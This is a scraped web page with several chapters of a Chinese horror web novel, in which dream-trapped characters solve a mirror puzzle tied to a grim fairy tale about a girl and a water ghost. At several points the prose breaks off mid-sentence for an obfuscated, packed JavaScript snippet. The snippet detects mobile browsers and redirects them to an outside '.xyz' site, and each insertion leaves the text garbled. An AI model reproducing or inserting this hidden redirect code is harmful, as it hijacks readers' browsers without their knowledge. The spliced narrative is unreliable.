水月先动手,倒掉原来的水,往盆里冲满新的,没有放洗涤剂,而是选择将弄脏的白裙在里面均匀地泡开,时不时对着镜子查看。 镜子中的长裙因为没有洗涤剂的干扰,一寸寸的染上相同的鲜红色。两人默默地将自己手中的长裙展开、捋平,直到它们彻底变成了红色的裙子。 假装没有注意到逐渐在她脖子上收紧的细白手指,苏夜凛双手捧起漂洗好的一条红裙,发现自己指间有点颤抖,逐渐逼近临界值的紧张叫她闭上眼睛。 随后,手上的重量减轻了。身后的女人真的拿走了她的裙子。 耳边响起了轻悠的哼歌声,女人好像十分愉快,瞄一眼镜子,她瞧见长发的女人牵起红裙子的两只袖管,仿佛和自己的舞伴在轻松地对舞一样,转圈又踱步,湿透的裙摆不断往下滴着鲜红的液体,滴答滴答的响声仿佛在为她们伴奏。。 就在女人满意了之后,她才再次悠悠然停在了苏夜凛的身旁,将自己的一领一扯——瞬间,长长黑发的女人不见了。 随后,一件空荡荡的白裙飘到了苏夜凛的手心上。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16259951|178486||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 她舒了一口气,瞄向自己的左侧。水月那边也是相似的情况,只不过水月盆里的衣服还比苏夜凛多一件,所以她多花了一些时间去“染”第二件衣服。 她们在完成了三件衣服的交换之后,气氛霎时才轻松下来。不过两人还是不敢轻举妄动,因为那广播里讲故事的声音仍在继续——虽然偶尔有停顿,但是并没有结束。 【仙女的要求不难,但还是让苹果花很发愁。 染红裙子,自己的家里并没有珍贵的红色染料,要怎么做呢?想啊想啊,聪明的苹果花脑子里冒出一个完美的办法! 苹果花为自己的点子欢呼雀跃,她踏着薄雪,几乎冻僵的脚趾奔向家里的鸡舍。 鸡舍就在她们住的小木屋旁,低矮的棚屋里已经没有鸡鸭了,她们养不出健康的牲畜,所以这里成了放着种子和工具的杂物间。 苹果花知道,这个时间,外婆刚刚劈完柴火,在自己的房间里午睡,所以不会出来训斥自己。 她蹑手蹑脚地走进阴暗的角落,拿走了最重的那把工具。 好吃力!但是,每天都在四处奔波的苹果花身体很好,勉强还是可以拿动。 她拖着沉重的木质柄,推开了家门,心里满满地都是喜悦。 她走到了外婆的床边,昏暗的小房子里,老人睡觉的呼吸声里,混杂着令人难受的呼啦啦的声音。 苹果花在畅想,够用一整个冬天的木炭,充满阳光味道的羊绒被子、外皮焦脆的烤鸡,鲜美的土豆汤…… 很快,她就能拥有这一切了。 苹果花吃力地举起手里的斧子,用尽全力挥下。第一下,第二下,第三下…… 咦?外婆发出了奇怪的声音!和骂她的声音居然完全不一样! 一定是因为外婆也想到了热腾腾的饭和柔软的被褥吧?苹果花开心地笑了。】 讲到这里,刺耳的钝器挥舞声音、惨叫的声音、类似于石头重重砸下的声音,交织着从广播里响起。 然后是什么东西流下的声音。 苏夜凛和水月睁大了眼睛,被她们关掉的水龙头像是渗漏一样,开始重新滴出液体。 而且这次,不论是镜子里还是外面,渗出的水都是红色。 【苹果花把那件褪色的旧裙子染红了。】 【兴高采烈的苹果花和仙女在河边聊天,因为不舍得仙女,她们聊了好久好久,久到小女孩觉得春天都要来了……】 【过了几天,上山的猎人和樵夫在河的下游发现了一个全身冰冷的小女孩,他们认出了她,那是穿着白色裙子的苹果花……】 说到这里,广播那失真的刺啦啦声戛然而止。 没过多久,那个男声又一次打开了播放开关,好像要补充自己忘记讲的内容: 【哦,但是小朋友们不用担心哦!苹果花已经不怕冷啦,因为河中仙女已经成为了她的好朋友呀!】 一片沉寂,唯有水龙头的滴答滴答声贯穿全程。 苏夜凛和水月相视无言,直到水月携带的计时钟响起铃声。 30. 舞无眠 11 回到休息室的时候,两个男生已经坐在了那个简陋的圆桌旁,不正常的是他俩全身都湿透了,像是刚从海里捞出来一样,衣服到发梢都刷啦啦地往下滴水,在地上汇集成一小滩水渍。 墨菲斯还是和平时差不多,十分平静的表情,付明笙则是肉眼可见的脸色铁青。 抱着女鬼们从身上扒下来的长裙,苏夜凛心里总觉得怪怪的,看了一眼那两人的洗衣篓里,也盛着已经清洁的几件白衣。 “说吧,你们看到什么了?” 水月看到他俩沉默的样子,开门见山地询问了那边的状况。 “在盥洗室的镜子里看到你们了。”墨菲斯平静又直白地道出了令人惊讶的事情,随后又扯出一个浅笑。“不过你们肯定没注意到我们。” “不,你还是别提了成吗……”付明笙捂着脸,一副不堪回首的表情。 === 男女洗手间虽然是分开的,但是两边格局没什么差别——入门的一部分是一片洗手台,水缸很深,足够用来洗衣服,以及旁边。透过镜子可以看到身后的厕所隔间门。 本来应该是这样的—— 在刚进入盥洗室的门内,他们却被惊得愣在原地。 虽然之前没有来过,但是付明笙敢肯定,这个男洗手间以前绝对不长这样。 一踏进去,漫天的大雨就完全打湿了两个人的浸湿两人拿着的洗衣篓。 没错,是雨。完全封闭的室内下起了大雨,灰色的雾蒙蒙的雨丝,只有远处的通风窗透出来细微的白色光源,将这里氤氲成了一片阴雨天里的无人区。 一进来付明笙就觉得这里大得奇怪,仔细一看,本来应该狭小的厕所,以及装着镜子的洗手台,被怪异地无限扩张了。 天花板变得很高很远,隔间的数量没有几个,厕所的墙却是看不见尽头,整个洗手间都沉入一种死寂。 付明笙抿了抿嘴,努力让自己维持平和。 他很讨厌这种场景,本来再常见不过的场所,突然变得无限广大,阴暗潮湿,而且没有一个人,成了把人不声不响地埋葬起来的迷境…… 说实在的,他觉得这种幽暗压抑的氛围很可怕,女生们那边也是这种场景吗? 艹,早知道就该死缠烂打,让几个人一起行动才对!他想到在隔壁女厕所的苏夜凛,忍不住握拳。 他虽然不是多么热情活泼的人,但他很看重团队的感觉,一直以来他都相信几个人一起才方便互相照应。 不论是中学在运动社团,还是大学混到学生会,他都是众星捧月的存在,没有大家一起抱团努力的感觉,付明笙总是不踏实。 想到这他心里又犯起了嘀咕,人家都说恐怖片里、小说漫画里,一旦主角团分开行动,都容易发生不好的事儿,那两个女的怎么就想不到? 尤其那个水月,虽然看上去是挺正常的人,但是谁能相信她真的没问题呢?如果坚持几个人不分开的话,出了什么事他还可以保护苏夜凛 ——虽然他也知道,目前为止不如说是女孩在保护着她,但是付明笙相信,总有一个场景是她们对付不了,而需要依靠自己的。 “……雨下个不停啊。”身旁传来墨菲斯的声音。 他也是实在太安静,甚至平静到让人有些生气了。付明笙自己就不怎么能言善辩,气氛一路死寂,刚才他差点忘了还有这么个队友在。 “谁知道什么鬼啊,就算穿越到异世界,也不该房间里面下雨吧。淋得浑身难受…” 他抱怨着附和几句,就看到墨菲斯走到了洗手台前面。 “嗯?这个衣服,好像没必要洗了呢?”墨菲斯垂下目光,水滴不断地从发梢滴下,和雨水一起流进已经被浸透的洗衣篓里。 付明笙看了一眼洗衣篓,发现还真是。原本沾染了一片片血污的长裙,似乎被密度极大的雨丝打透了,已经不再有红色的痕迹。 “哦!那不是很好嘛。”付明笙的情绪又好起来了一点,他可讨厌洗衣服这种杂活了,平时在学校宿舍,他也是攒着衣服,直接丢到公用洗衣机或者楼下的洗衣店里。 “这样我们就可以直接回去了。” “……真的么?这个梦会就这么简单地放过我们吗?” 墨菲斯仰头,深沉的蓝色凝视着镜面里倒映出的天花板。 “别管了,快点回去吧。”付明笙没听清他在嘀咕些什么,只是迫不及待地想出去。 他拉了一下背后的门把手,随后脸上刚萌生的一点笑意也消失殆尽。 锁了。 仔细一想,刚才他们俩进来的时候,根本就没有特意关门。 是有人从外面上锁了吗?还是刚才受屋里的“雨”影响,被什么东西卡住了? 但是付明笙清楚,想出什么答案都没有用,因为这里的一切根本就不遵循常理。 “别那么用劲了,白费功夫。” 很快,墨菲斯又笑了起来: “你忘了,晨星拿着的那份员工规则,里面特意写了洗衣时间是下午四到六点。有什么其他的难题暂且不论,我们至少得呆一两个小时才能出去。” 晨星是什么来着?哦,是苏夜凛的新名字。 “x的!”实在是忍不了这一路的精神压力,付明笙猛地踹门一脚,爆起了粗口。 “什么事啊!先是看那个变态戏剧,完事又遇到阴阳怪气的矮子团长,现在被关到这里来淋雨,一路都是恶心的事儿!” 黑发的纤细青年没有理会他的歇斯底里,而是继续深深地凝望镜中。 付明笙心里忍不住升起一股怒气,这个什么莫菲,也不知道是哪来的装逼犯,在苏夜凛面前装深沉就算了,自己跟前也要逞威风吗?真是xx。 付明笙看不惯他这幅样子,刚想发作,又被另一阵声音打断。 滋啦滋啦,似乎是从头顶传来的一阵音色,听着像是老旧的广播里放出的杂音。 “【】【】文化中心,下午特别剧场,为您播报……” 唰唰的落雨之中,那个阴冷的女声倒是格外清晰。 === “果然,你们也听到了那个童话故事吗?”从墨菲斯的叙述中,苏夜凛大概能够联想到那个场景,和她们见到的不一样,空旷到让人害怕的无人区。 “什么童话啊!完全就是个低级趣味的变态故事,不知道哪个神经病写来报复社会的吧。”付明笙还是那副烦躁的神情,用毛巾胡乱地擦着淋湿的头发。 这句话苏夜凛心里倒是默默地表示赞同。 “苹果花”砍杀了外婆,染红自己的裙子再和仙女交换这种故事,她是不想再听第二次了。 而且,从结局来看,仙女可能只是苹果花的臆想而已,最后她独自死在了冬日的河水里…苏夜凛不愿意再细想。 “你们的故事,也是小女孩和仙女交换东西那个吗?”水月比苏夜凛多问了一句。 “仙女,什么仙女……”付明笙一愣:“要真是那种童话故事,哪至于这么恶心!” 也就是说,他们听到的东西不一样咯? 苏夜凛睁大眼睛,好奇地 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16303008|178486||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 看向墨菲斯。 “确实,我们听到的不是什么女孩和仙女的□□,但是估计和你们的故事也有关联的吧。”墨菲斯看着她们的洗衣篓,露出了然的神情: “我们听到的,是一个主角是水鬼的故事。” === 当时,墨菲斯正注视着镜子里倒吊着的一只蝴蝶。一片灰蒙蒙的雨雾中,亮蓝色的翅膀微微振动。 这是他还没有共享给苏夜凛的信息。在和“团长”聊天时,他动用了一点能力,唤起了一个潜意识锚点。 蓝闪蝶,不知为何是这个意向,但这是做梦者心中关于恐惧和警示的具现化。 它出现在这里,意味着两人所处的环境十分危险。 之后,响起了广播的声音,主持人冰冷僵硬的讲述声、平静到诡异的钢琴背景音,还有就是付明笙为什么事情慌乱的声音。 “卧槽,这个水位涨起来了!”他盯着瓷砖上积成一片浅河的“雨水”,已经没过了自己的鞋面,而且随着暴雨的持续,还在不断上升,似要追着膝盖的位置上涨。 广播则是在讲述一个有些支离破碎的故事。 说是有一个女子,她在河边洗衣服的时候不慎落入水中,从此就怀着怨念,成为了试图拉人作伴的鬼魂。 很多次,她想尽办法引人过来,河边洗衣服的人、路过的樵夫猎人,但是她没有什么伪装的技巧,也没法让这些谨慎的人坠河。 直到有一次,一名穿着白色睡裙、戴着金色头饰的贵族女子来到河边,她看起来伤心欲绝。还没等水鬼想办法,她便投河自尽了。 水鬼有些说不清道不明的困惑,她不知道这名女子为何寻死,又更加郁闷于她几乎没法成为自己的养料,因为她坚决地选择了自杀,并非被自己引诱。 不过她留下了那条材质考究的白色长裙,以及纯金的头饰。 大概贵族女子的灵魂多少也是有用的吧,水鬼觉得自己影响环境的力量也变强了。 她将自己装扮一新,让原本湍急的河水变得和缓,甚至能清楚地倒影出过路人的面影,这叫停留下来观察和打水的人也变多了。 没过多久,她发现了更好的、更心仪的猎物。 她耐心地观察着,等待着。 那个总是穿着一身红裙、头上别着鲜花,蹦蹦跳跳来森林采集果子的小女孩,多么惹人怜爱。 大家似乎都亲切地叫她“苹果花”。 …… “你特么别发呆了成吗??” 付明笙的声音冲破了扑簌簌的雨声,现在俩人都是彻底被水浇了个透的状态,但一想到这个厕所里下的雨,谁知道水是从哪里来的,付明笙的心情就极其糟糕。 他刚才已经把几个厕所隔间都翻了个遍,甚至想着能不能从下水道或通风口爬出去,可惜都一无所获。 “快想办法从这鬼地方出去吧!”他几乎是吼着对不为所动的墨菲斯说。 墨菲斯专心听着广播,突然间眼神一闪动,从洗衣篓里展开两件惨白色的长裙,慢慢转头面向付明笙: “现在,套上这个裙子。” 付明笙刚才为止的一肚子火,被这句莫名其妙的话浇灭了。 “啥??” “直接套到身上,我们俩都要换。”全程都鲜少发言,捉摸不透的“蓝闪蝶”此刻用不容置疑的语气如此说道。 ……事情的发展有点出乎意料 苏夜凛听到这里嘴角,忍不住抽搐一下。 该不会,那几个“女鬼”其实是你们?? 31. 舞无眠 12 “对也不对吧,”面对苏夜凛不可置信的模样,墨菲斯说: “套上那身衣服之后,房间里的雨停了,但是我们俩也失去了意识,虽然时间很短,但是那一瞬间确实是什么都没感觉到。” “……反正睁开眼睛之后,我的身体一点都动不了。”付明笙补充道: “感觉被那件衣服控制了,我只能往脚下的水里看,结果就看见……” 他看见了,已经归于平静的脚下,汇积到小腿那么高的水面,映出他的模样,如同一面巨大的镜子。 倒影之中,白色的袖子和裙摆遮住了四肢,长长的黑发沉默地披散而下,遮住了半张脸。 那似乎是自己的脸,仔细一看却又不像。 付明笙只感觉,那张被乱发遮住的脸,正在朝他微笑! 不是他在对着水面笑,而是水里的影像正直勾勾地瞪着他,嘴角大大地咧开,眼睛睁到极限,绽开一个僵硬又夸张的笑容! 不知怎的,他为这久久不变的笑容感到极其恐惧,却又丝毫无法行动。 现在想起来,他同样是觉得不寒而栗。 之后……之后发生了什么来着? “之后我们听完了最后一点广播。”墨菲斯替他说了下去。 “那个故事告诉我们,最后水鬼成功地引诱了名叫苹果花的女孩,她告诉对方,自己想要她身上的红裙子,女孩想方设法去把裙子染红……这个故事结束了。” “对……对了!然后,我们俩在镜子里面看见了你们……”付明笙这时候才接起来记忆。 终于看到了同伴出现在自己面前,他根本没考虑这是否合理,便用尽全力,朝着苏夜凛的方向挪动…… “当时我看你们犹豫着不敢行动,就估计你们也是在等待什么,比如那个广播。”墨菲斯回溯着当时自己考虑的过程: “我知道你们肯定没认出我们,最重要的问题在于,我们都能透过镜子看见对方,但这是不应该的。我猜,是这个镜子本身就存在一种交错的映射。” 这样一说,苏夜凛意识到了这个镜子的关窍。 她想到自己看电影的时候,有一些高级的会议室会使用单面玻璃,室内开会的人能够看清外部,但是外面路过的人会认为这墙是一面镜子。 而他们之间也类似于此,但是这种“交错”比现实更加混乱。 两边同时都在照镜子,却又同时透过镜子看到了对侧。本来应该单面反射的镜子,变成了交叠的画片。 “原来如此,是不是可以理解为,我们两边的动作同时被叠加进了镜子里,让镜子里产生了独特的映像?”水月恍然大悟。 墨菲斯点了点头: “是的。甚至我认为,镜子里的世界是一个单独的领域,我们的行为被叠加到镜子里的同时,也可以完成在镜中的互动。 “看上去,在女洗手间的你们身后并没有人,我们也是一样,但是镜子将我们投射进了同一个空间——就像我们两边听到的广播,它从两个视角叙述,但内容是交错映射的、同一个故事——关于一个小女孩被鬼魂蛊惑的故事,而我们通过各自听到的情节,共同补完了这个故事。” 原来是这样!苏夜凛恍然大悟。 他们就像一张碟片的a面和B面,但是被同时播放了,而作者的目的,是想让他们穿插讲述同一个故事。 正如两边的广播,乍听之下是两个故事,实际上它们的剧情走向和结局是交叉的。 通过交叠的镜子空间,他们实现了这个互相嵌套的剧本演出。 水月也点点头,示意她明白了对方的意思,同时沉默着打开手里湿透的衣服,将它们搭在衣架上。 屋里根本没有向阳的地方,只能先晾在衣柜旁边的空处,苏夜凛这才发现,那里居然有一个很不起眼的壁炉。 付明笙难得识趣一回,见自己插不上话,也跟着帮水月晾衣服。 “当时我们根本没意识到情况是这样。”苏夜凛有点劫后余生的庆幸,“我们只觉得广播的内容是暗示,镜子里的东西可能是威胁,但实际上,我们的行为是互相影响的,万一有谁想错了就……” “因为你那边根本没认出我们,所以没往这方面想吧。” 墨菲斯继续诉说: “在进洗手间的时候,我打开了水龙头,流出的水是红色的。但是透过镜子里看,水又是透明无色的,而你们那边——状况应该刚好相反吧?” 他说这话的时候,看了看苏夜凛,应该是还记得苏夜凛打开水龙头时惊讶的表情。 “的确……我能碰到的水是透明的,但是镜子里却是红色。我当时在想,究竟洗手间里的水和镜子里的水,哪一个才是真的。”苏夜凛也如实相告。 “但其实,谁真谁假根本不重要,重要的是这个故事要‘被完成’。” 墨菲斯接上她的话。 “对于我们这边,屋内不断下雨,这些雨水能把很多颜色都洗掉,因此我们一进来,衣服上的红色污渍就慢慢消失了。” “但是,你们的故事又说了,掌控这里的水鬼想要引诱投河,而且她最想要的是女孩的红裙子。” 苏夜凛也跟着复盘,沉入了思考: “你们需要把衣服洗干净,但是也需要满足水鬼的要求,否则积水很快就会把你们拉下去,是这个意思吧?” “完全正确。”墨菲斯好像很享受和人问答的过程,眯起了笑眼: “我一开始在想,染红一条裙子给她,再把剩下洗干净的留着,是否既能满足剧场的规则,又能满足水鬼的渴望,从而正确地通过这个谜题。 “但是很快我发现,只要洗手间里的雨还在下,染上的红色也会迅速被洗掉。而且广播故事所说的内容,应该存在更多的提示。 “所以,在镜子里看到你们出现的那一刻,我的猜想也印证了——我们需要借用对方的力量,在镜子造就的特殊空间完成交互。” “…哦,所以穿上裙子也是为了这个啊?”手里抖着衣服,付明笙也慢慢想起了这茬: “那个故事好像是说,水鬼看到投河自尽的贵族女子,收下了她的白裙子,然后让水面变平静什么什么的,所以我们需要像故事里一样,扮演水鬼的角色,让雨停下?” 他也真是难得机灵了一会。 把整个过程串联起来就是:墨菲斯他们一进门,就可以通过雨水洗掉污渍,但是因为水鬼的困堵,不能随便出来。 苏夜凛和水月可以用镜中的水染红裙子,但是水管里流出来的清水不具备清洁作用,无法洗掉污渍,也无法染色。 通过叠加的镜中空间,女生们把染红的三件裙子交给对面,男生们身着洗净的白裙之后,处于被水鬼半附身的状态,得到红裙子则愿望满足,再把身上的白裙交还给女生,同时恢复自由。 最终,在水鬼的附身也离去之后,幽沉灰暗的盥洗室又开始淅淅沥沥地下雨,他们新得到的那件“红裙子”又再次被雨涤成白色。 这样一来,所有的衣服都完成了清洁,没有留下不该有的痕迹。 付明笙听他们讨论到这里,离谱地皱鼻子——洗个衣服而已,变成了这么一出夸张的出题,密室逃脱都不会这么搞的。 要是有哪个环节没留意,他们难不成是要命丧于此了吗?——付明笙希望自己不要知道这个答案。 不过他也忍住了没有出声抱怨,毕竟大部分活都是同伴们干了。 ——凭什么呢?虽然他并非不识好歹的人,但是看他们你一言我一语地讨论这件事,付明笙心里终究不是很平衡。 苏夜凛这边,她对两边的拼图整合到了一起这件事感到不可思议,但同时心里也是不怎么爽快。 尤其是,想到镜子里瞥见女 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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你为什么看起来这么开心??少女瞧着墨菲斯那不知道是幸灾乐祸还是看乐子的表情,微妙的怒火冲淡了一点细思恐极的惧怕。 “我去,照你这么说,当时那个水鬼就待在我们旁边啊??”这下换成付明笙反应过来,大声抗议: “它把那个剩下的裙子交换给苏夜凛,然后把洗红的裙子带走了是吧?就挨着我们?” “还好吧?”墨菲斯看上去有点无所谓的态度,“这个领域的主人这么在意规则和逻辑,他们应该也有自己的规则,不会贸然行动。” 这件事真的不能往深了想。 沉默的片刻,镜子里窥见的和自己相似的女人、她伸出来的惨白手指,都浮现在苏夜凛脑中。 她最后抱着那件染红的衣服哼歌跳舞,鲜红的液体滴答滴答,成为了不知名的伴奏…… 虽然已经平安出来了,但她还是忍不住打了个寒噤。 “水月,这种情况没问题吧……?”她又转头向更为成熟的女性求助,“我们不会因为少了一件衣服受到惩罚之类的吧?” “不清楚呢,我也没遇到过这种情况,毕竟这个剧场和后台隐藏的东西都太多了。”水月既没有安慰,也没有危言耸听,只是司空见惯一般: “应该没什么所谓吧?这里怪事发生的太多,每件都要担心的话可就没完没了了。” 苏夜凛苦笑。说起来倒是轻松,但是她对这种“坏的可能性”心里总是吊着不安生。 “而且我觉得,如果是那种…‘神秘的力量’拿走了你手里的裙子,说不定还是一件好事呢?” 不知道该说水月处变不惊,还是她心底真的挺乐观的,她拍拍苏夜凛的肩头: “说不定这对她来说,是欠你一个人情呢?” 谁想欠水鬼(疑似)的人情?苏夜凛心里有点崩溃,却也知道无济于事,干脆先把这件事抛到脑后。 “叮——叮——” 还没等他们想完这些乱七八糟的事情,整点的钟声骤然响起。 水月原本带上些笑意的脸阴沉了下来,默默看向众人: “走吧,接下来到准备晚饭的时间了。” 32. 舞无眠 13 备餐和用餐时间为19:00-22:00,预备演员需要轮流值班,负责制作餐食和清洗工作。 苏夜凛看到排班表,惊讶于团长和女主角“仙后”也在轮流做饭的排班里。 一共有六个人的名字出现在排班表上面,当然是所有演员的艺名。但是没有写明每个人对应的是哪一天,估计是让大家根据这个排布每天自己推算。 是因为他们全体就只有六个人,还是说这个剧团难道是上六休一的模式?不过想这个应该是没什么意义的。 “今天应该是轮到谁呢?” 苏夜凛看了水月一眼,对方似乎是之前就计算过了: “刚好,今天轮到我了。做饭的过程应该并不复杂,你们刚好可以在厨房外面看着,方便下次上手。” “可以在外面看吗?”苏夜凛很谨慎,生怕触碰到了规则给他们埋下的坑: “规则没有说其他人可以观看或帮忙吧?” “规则也没有说不可以啊,所以就,也还好吧?” 水月耸耸肩,转身就套上了围裙。 说实话,苏夜凛很羡慕她这副临危不乱的稳定和气势。之前也是,无论遇到什么诡异的状况,她似乎都相信自己能够兵来将挡,水来土掩。 哪怕在这个梦魇的领域中,她并没有警察之类的特殊身份,只是扮演着一个剧团里平平无奇的小演员罢了。 出了这个梦境之后,她还有可能和水月再见吗?能知道她真实的名字,甚至是成为朋友吗? 可惜,对方应该很忙,又有什么必要去搭理她这个平凡无趣,总在混日子的普通大学生呢?苏夜凛有点没志气地想着。 不过她很快回神,毕竟不是多愁善感的时候。 苏夜凛又看了眼排班表,确认自己排在“镜花”的后面,但是马上又生出新的疑惑。 “你怎么不在上面?”她瞥向墨菲斯,确认了“蓝闪蝶”这个名字不存在于表上。 “因为我本来就不该在上面啊,或者说这个剧团没有‘蓝闪蝶’这号位置。” 墨菲斯又是理所当然地陈述着这些怪异情况。 “确实,听到的时候我也挺震惊的,”水月补充道:“原本所有人都有对应的代号,但是你这个名字我也从没听说过。” “这个‘喜鹊’对应的是谁?”苏夜凛发现了一个之前没有见过的代号。 “是另一个女孩,她经常和团长、仙后在一起,我不是很熟悉,不过她人挺好的,没感觉到什么危险。”水月回答道。 “那在我们之前,也有别的‘镜花水月’‘晨星’之类吗?”苏夜凛估摸着,墨菲斯又是动用了一些所谓特权或是别的什么小九九,转而问向水月。 “没错,人是流动的,但是代号是不变的。之前你们的位置也有其他人,只不过现在他们都不在了。” “都不在了……意思是?”苏夜凛本能地从这些话的深层察觉出了危险的意思。 “就是你想的意思,”水月没有过多解释,“那几个同伴,也有之前和我睡在一起的,但是不知道什么时候,或者因为什么事情,他们就那么消失了。” 苏夜凛有些迟疑,水月总是很平静,但是刚才的话语中,她还是听出了几丝细微的落寞,她不知道该不该和水月追问这些。 “啥意思,是他们违反了规则,或者别的什么禁忌?你知道具体是什么不?” 她瞪了发言人一眼,可惜她心思再细腻,也架不住付明笙这样嘴快的人先一步冒头。 水月也早就料到他们的好奇,笑了笑:“现在不方便说这些,睡觉的时候,我或许可以详细点说明。” === 水月带着三人走向所谓的餐厅,这个地方和练舞室也是连着的,在那几面硕大的落地镜之中,她推开其中的一扇镜子,背后就是另一个房间。 苏夜凛观望一下,发现这里其实是另一个“休息室”。 估计这里是女主角的房间,比他们几个的住所要稍微豪华一些,但还是处处透露着逼仄和破败。 貌似精致的丝绒床毯,纤维早已被磨损。乍看优雅的铁艺台灯,上面已经落灰结网。 最致命的是,不论是这个房间还是他们自己的休息室,都是没有窗户的。昏暗阴沉的环境就注定了不会让人舒适。因为通风不佳,整体又有种说不出的霉味儿。 “你们就在餐桌边先坐下吧。”水月穿过一块像是黑色钢板的东西,走到料理台旁边,苏夜凛想在旁边打探下,却根本看不清她的行动,因为那里比这边还要黑得多。 “不过最好不要随便坐,每个座位都有标识的,你们应该看得懂——我这边很快就好。” 苏夜凛闻言,趁着极其昏暗的黄光查看餐桌以及椅子。 这个餐桌比他们屋子里那张寒酸的小圆桌要好些,像是刻板印象那种西方宅邸会用的长方桌,不过还是很小,只能容下六个人 他们仔细看,发现沾满了污渍的餐布上面,各自画着一个简笔画似的图案。 苏夜凛舒了口气,这里没有什么为难他们的谜题,有花的,有月亮的,至于画着星星的餐布,对应的大概就是自己的位置。 而两边的座椅,一个是王冠,一个是权杖的特殊位置,估计就属于团长与仙后了。 但是他们还没有出现。难道说定点吃饭的规则他们不用遵守吗? “怎么没有蝴蝶呀?难道说,这里没我的位置?”看苏夜凛和付明笙找到了自己的位置,墨菲斯很纯真地对大家眨眨眼,似乎是真心在不解大家怎么把他落下了。 “很正常吧,你的名字都不在排班表上。” 付明笙略带鄙夷地瞥了他一眼, “既然你不用负责做饭洗碗,那你也不用吃呗!” 看到墨菲斯被这“不好意思你没被邀请”的场景弄得哑然,苏夜凛也有点忍俊不禁,不过随之也到有些担心。 她知道墨菲斯是特殊的存在,即便领了一个普通人的身份进入梦中,肯定也比他们要自由。但是,看他的样子,肯定也不能直接违抗梦魇宿主的规则。 那么,墨菲斯要如何符合规则,和他们一起吃饭呢……? “唉,没事没事~”很快,墨菲斯就恢复了活力,若无其事地走到了房间角落。 “既然如此,我做个符合设定的角色也没什么不好。” 他停在了墙角一幅画框旁,随后付明笙差点大叫出声,苏夜凛也愣了半晌。 “不是……人呢??” 青年就像透明化了一样,消失在背景里。 不过,苏夜凛很快明白他做了什么。 她看向那个悬在墙面中间的画框,一幅很小的画,极不起眼。虽然看不清楚,但大致能明白那是画着一只蝴蝶停在花瓣上的图像。 在这个房间,代号和图像总是对应的,或许这也反应着团长或者梦魇本身的想法。 苏夜凛突然有很强的违和感,为什么他们几个人如此“正好”地存在于此?除了墨菲斯这个特殊因素之外,其他人的位置像是提前安排好了一样。 这感觉就像梦魇特地抓了他们,对应好所有的图案和位置,来演一出戏剧。 根据水月的信息,之前也有和他们一样的人,但是那些人被规则或是别的什么东西扼杀了。 这仿佛是在说,因为那些演员的代号、图像与意向空出来了,剧团不能再运转下去,所以苏夜凛和付明笙他们被抓来了。 如果他们没有通过这个剧团的考验,估计也会被抹杀,然后被其他吸引过来的人替代吧。 所以说在他们之后,还会现实中的其他人被抓进来,被献祭给舞台吗,这一切又会持续到什么时候……? 她感到一阵寒意。她本以为梦魇只是会在爆发之后伤及宿主,或许会牵连到其他的个别人。比如耿芷芯的梦,可能会有些恐怖、充满隐喻,让她积累的心结更加负面,却没想到噩梦会变成如此庞大的一个舞台,不断地吸引别人进行死亡汇演。 之前墨菲斯说过,梦这种东西总是荒诞的、无意识的特点,是梦世界把人脑中的现实扭曲之后的产物。

35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16352492|178486||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 但这个梦就像是在时时刻刻都追求着合理性。 即便是不在“编内”的墨菲斯也找到了自己对应的图案,遵守了“在用餐时间一起吃饭”的规则。 哪怕墨菲斯是意外的、非常规的存在,但是这个梦境的主人,仍然让所有人贴合自己潜意识的活动,为他打造了一个位置。 虽然存在严格的排班、演员之间也有等级……但是团长和女主角仍然没来。 苏夜凛抬头,屋子里的钟显示着7:15左右的时间,这怎么说也不符合了。 她似乎能通过这里揣测出这个剧场,这个梦境主人的逻辑——主角无疑是最重要的,其他人不过是她的陪衬,所以其他人不能随意越矩,但是女主演和管理者超脱于规则之外。 在这个梦境主人的意识里,他/她自己是属于“管理者”,还是“主演”? 苏夜凛想得入神,但是一个让人不快的声音打断了所有思绪。 “哎呀,久等啦,新加入的伙伴们!” 团长搓着手,他仍然穿着他那身又小又紧,有些滑稽的礼服,笑眯眯审视着所有人: “” 付明笙见状,居然起身对他鞠了一躬,苏夜凛见状也跟着做出恭敬的态度。 她的余光扫见,团长的身后,从黑暗里徐徐显现,向前走来的一个身影。 抬头之后,她不由呼吸一滞。不用介绍,她也知道这就是女主角“仙后”。 正如这个代号,她穿着一身礼服,有点巴洛克式的华丽,落肩低领,裙摆缀花,袖口是层叠的荷叶边,腰间的剪裁则是修身紧绷,衬出其轻盈纤细。 她的长裙满是鲜艳的红色暗纹,对比与她们这些预备演员森冷的白袍,更加显得光彩照人。 